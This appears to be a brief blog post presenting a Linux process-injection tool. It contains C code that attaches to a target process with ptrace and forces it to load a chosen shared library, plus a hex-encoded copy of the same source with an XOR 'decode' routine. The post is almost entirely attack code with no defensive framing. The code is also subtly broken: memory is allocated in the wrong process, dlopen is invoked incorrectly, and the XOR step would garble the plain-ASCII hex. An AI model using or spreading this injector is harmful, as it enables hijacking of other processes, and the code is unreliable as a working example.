Sleep
2 min readJul 24, 2024

Blackarch Linux Process Injection with PTRACE

char code[] = "\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x73\x74\x64\x69\x6F\x2E"
"\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x73"
"\x74\x64\x6C\x69\x62\x2E\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C"
"\x75\x64\x65\x20\x3C\x73\x74\x72\x69\x6E\x67\x2E\x68\x3E\x0D"
"\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x75\x6E\x69\x73"
"\x74\x64\x2E\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65"
"\x20\x3C\x73\x79\x73\x2F\x70\x74\x72\x61\x63\x65\x2E\x68\x3E"
"\x0D\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x73\x79\x73"
"\x2F\x77\x61\x69\x74\x2E\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C"
"\x75\x64\x65\x20\x3C\x73\x79\x73\x2F\x74\x79\x70\x65\x73\x2E"
"\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x73"
"\x79\x73\x2F\x73\x74\x61\x74\x2E\x68\x3E\x0D\x0A\x23\x69\x6E"
"\x63\x6C\x75\x64\x65\x20\x3C\x73\x79\x73\x2F\x75\x73\x65\x72"
"\x2E\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C"
"\x73\x79\x73\x2F\x6D\x6D\x61\x6E\x2E\x68\x3E\x0D\x0A\x23\x69"
"\x6E\x63\x6C\x75\x64\x65\x20\x3C\x73\x79\x73\x2F\x73\x79\x73"
"\x63\x61\x6C\x6C\x2E\x68\x3E\x0D\x0A\x23\x69\x6E\x63\x6C\x75"
"\x64\x65\x20\x3C\x64\x6C\x66\x63\x6E\x2E\x68\x3E\x0D\x0A\x23"
"\x69\x6E\x63\x6C\x75\x64\x65\x20\x3C\x66\x63\x6E\x74\x6C\x2E"
"\x68\x3E\x0D\x0A\x0D\x0A\x76\x6F\x69\x64\x20\x69\x6E\x6A\x65"
"\x63\x74\x5F\x6C\x69\x62\x72\x61\x72\x79\x28\x70\x69\x64\x5F"
"\x74\x20\x70\x69\x64\x2C\x20\x63\x6F\x6E\x73\x74\x20\x63\x68"
"\x61\x72\x20\x2A\x6C\x69\x62\x5F\x70\x61\x74\x68\x29\x20\x7B"
"\x0D\x0A\x20\x20\x20\x20\x73\x74\x72\x75\x63\x74\x20\x75\x73"
"\x65\x72\x5F\x72\x65\x67\x73\x5F\x73\x74\x72\x75\x63\x74\x20"
"\x72\x65\x67\x73\x2C\x20\x6F\x72\x69\x67\x69\x6E\x61\x6C\x5F"
"\x72\x65\x67\x73\x3B\x0D\x0A\x20\x20\x20\x20\x6C\x6F\x6E\x67"
"\x20\x6C\x69\x62\x5F\x61\x64\x64\x72\x2C\x20\x6D\x6D\x61\x70"
"\x5F\x61\x64\x64\x72\x3B\x0D\x0A\x20\x20\x20\x20\x63\x68\x61"
"\x72\x20\x2A\x6D\x65\x6D\x2C\x20\x2A\x6D\x6D\x61\x70\x5F\x6D"
"\x65\x6D\x3B\x0D\x0A\x20\x20\x20\x20\x69\x6E\x74\x20\x6D\x65"
"\x6D\x5F\x66\x64\x3B\x0D\x0A\x0D\x0A\x20\x20\x20\x20\x2F\x2F"
"\x20\x41\x74\x74\x61\x63\x68\x20\x74\x6F\x20\x74\x68\x65\x20"
"\x70\x72\x6F\x63\x65\x73\x73\x0D\x0A\x20\x20\x20\x20\x69\x66"
"\x20\x28\x70\x74\x72\x61\x63\x65\x28\x50\x54\x52\x41\x43\x45"
"\x5F\x41\x54\x54\x41\x43\x48\x2C\x20\x70\x69\x64\x2C\x20\x4E"
"\x55\x4C\x4C\x2C\x20\x4E\x55\x4C\x4C\x29\x20\x3D\x3D\x20\x2D"
"\x31\x29\x20\x7B\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x70"
"\x65\x72\x72\x6F\x72\x28\x22\x70\x74\x72\x61\x63\x65\x20\x61"
"\x74\x74\x61\x63\x68\x22\x29\x3B\x0D\x0A\x20\x20\x20\x20\x20"
"\x20\x20\x20\x65\x78\x69\x74\x28\x31\x29\x3B\x0D\x0A\x20\x20"
"\x20\x20\x7D\x0D\x0A\x20\x20\x20\x20\x77\x61\x69\x74\x70\x69"
"\x64\x28\x70\x69\x64\x2C\x20\x4E\x55\x4C\x4C\x2C\x20\x30\x29"
"\x3B\x0D\x0A";

void decode() {
for (int i = 0; i < sizeof(code) - 1; ++i) {
code[i] = code[i] ^ 0x5A; // XOR with 0x5A
}
}

int main() {
decode();
printf("%s\n", code);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <dlfcn.h>
#include <fcntl.h>

void inject_library(pid_t pid, const char *lib_path) {
struct user_regs_struct regs, original_regs;
long lib_addr, mmap_addr;
char *mem, *mmap_mem;
int mem_fd;

// Attach to the process
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) {
perror("ptrace attach");
exit(1);
}
waitpid(pid, NULL, 0);

// Get the current register values
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
original_regs = regs;

// Allocate memory in the remote process using mmap
mmap_addr = syscall(SYS_mmap, NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
regs.rax = SYS_mmap;
regs.rdi = 0;
regs.rsi = 4096;
regs.rdx = PROT_READ | PROT_WRITE | PROT_EXEC;
regs.r10 = MAP_ANONYMOUS | MAP_PRIVATE;
regs.r8 = -1;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);

// Read the address returned by mmap
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
lib_addr = regs.rax;

// Write the library path to the allocated memory
ptrace(PTRACE_POKETEXT, pid, lib_addr, *((long *)lib_path));
ptrace(PTRACE_POKETEXT, pid, lib_addr + sizeof(long), *((long *)(lib_path + sizeof(long))));

// Get the address of dlopen in the target process
void *handle = dlopen("libc.so.6", RTLD_LAZY);
void *dlopen_addr = dlsym(handle, "dlopen");

// Call dlopen in the target process
regs.rax = (long)dlopen_addr;
regs.rdi = lib_addr;
regs.rsi = RTLD_LAZY;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);

// Restore the original register values and detach
ptrace(PTRACE_SETREGS, pid, NULL, &original_regs);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
}

int main(int argc, char **argv) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <library_path>\n", argv[0]);
exit(1);
}
pid_t pid = atoi(argv[1]);
const char *lib_path = argv[2];

inject_library(pid, lib_path);
return 0;
}

No responses yet